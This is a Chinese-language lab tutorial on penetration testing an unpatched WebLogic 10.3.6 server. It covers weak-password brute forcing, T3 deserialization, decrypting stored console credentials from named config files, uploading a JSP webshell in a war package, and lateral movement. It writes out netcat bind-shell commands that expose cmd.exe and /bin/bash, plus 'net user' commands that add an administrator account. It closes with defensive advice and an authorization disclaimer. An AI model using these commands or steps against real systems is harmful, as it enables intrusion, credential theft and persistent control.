WebLogic渗透测试实战教学文档

1. 实验环境准备

1.1 系统配置

• 攻击机: Windows 10 (IP: 192.168.2.104)
• 靶机1: Linux Ubuntu (IP: 192.168.2.109)
• 靶机2: Windows Server 2008 R2 64位 (IP: 192.168.2.111)

1.2 WebLogic版本

• WebLogic 10.3.6 (未打补丁，未禁用T3协议)

2. 服务发现阶段

2.1 端口扫描方法

1. Python自定义扫描器

   • 基于socket模块实现
   • 发送数据包并检测响应判断端口状态
   • 多线程实现快速扫描

2. Nmap扫描

   • 更可靠的端口检测方式
   • 命令示例: nmap -p 7001 192.168.2.109

2.2 WebLogic常见端口

• 默认管理控制台端口: 7001
• T3协议端口: 7001

3. WebLogic渗透思路

3.1 常见攻击向量

1. 后台弱口令爆破

   • 密码采用Base64编码
   • 可使用BurpSuite增加编码参数爆破
   • 或使用专用爆破工具

2. T3协议反序列化漏洞

   • 直接执行系统命令
   • 适用于未打补丁的WebLogic版本

3. war包部署

   • 通过控制台上传恶意war包
   • 获取webshell权限

4. 渗透实施步骤

4.1 反序列化漏洞利用

1. 工具选择

   • 使用专用反序列化利用工具
   • 执行系统命令检测环境

2. Windows靶机利用

   • 执行命令查看系统信息
   • 检查开放端口(如3389)

3. 权限提升

   • 添加用户: net user username password /add
   • 提升权限: net localgroup administrators username /add

4.2 控制台密码破解

4.2.1 获取必要文件

1. 密钥文件路径

   • C:\Oracle\Middleware\user_projects\domains\base_domain\security\SerializedSystemIni.dat

2. 密码文件路径

   • C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties

4.2.2 破解工具准备

1. 工具下载

   • WebLogicPasswordDecryptor: GitHub链接
   • Bouncy Castle插件: 下载链接

2. 环境配置

   • 将插件复制到JDK目录: C:\Program Files\Java\jdk1.8.0_201\jre\lib\ext
   • 确保java和javac版本一致

3. 执行破解

   javac WebLogicPasswordDecryptor.java
   java WebLogicPasswordDecryptor
   

4.3 war包部署攻击

4.3.1 制作war包

1. 准备JSP大马文件
2. 压缩为ZIP格式
3. 重命名为.war后缀

4.3.2 部署流程

1. 登录控制台: http://192.168.2.109:7001/console
2. 使用破解的凭据登录(示例: weblogic/weblogic123)
3. 选择"部署"选项
4. 上传war包
5. 激活更改并启动部署

4.3.3 访问webshell

• 示例URL: http://192.168.2.109:7001/cmd/cmd.jsp

5. 反弹Shell技术

5.1 Windows靶机

1. 靶机执行:

   nc.exe -l -p 8888 -t -e cmd.exe
   

2. 攻击机执行:

   nc.exe -nvv 192.168.2.111 8888
   

5.2 Linux靶机

1. 安装传统netcat:

   sudo apt-get -y install netcat-traditional
   sudo update-alternatives --config nc
   

2. 靶机执行:

   nc -vlp 8888 -e /bin/bash
   

3. 攻击机执行:

   nc.exe 192.168.2.109 8888
   

6. 横向渗透建议

1. 代理工具

   • 使用Proxifier进行正向代理
   • 建立内网跳板

2. 信息收集

   • 扫描内网其他主机
   • 收集凭证和敏感信息

7. 防御建议

1. 及时更新补丁

   • 修复已知反序列化漏洞
   • 禁用不必要的协议

2. 强化认证

   • 避免使用弱口令
   • 启用多因素认证

3. 访问控制

   • 限制管理控制台访问IP
   • 最小化部署权限

4. 监控措施

   • 监控异常部署行为
   • 记录管理操作日志

8. 工具资源

1. 密码破解工具: WebLogicPasswordDecryptor
2. 爆破脚本: weblogic.py
3. Bouncy Castle插件: 下载链接

注意：本文所述技术仅限合法授权测试使用，未经授权进行渗透测试属于违法行为。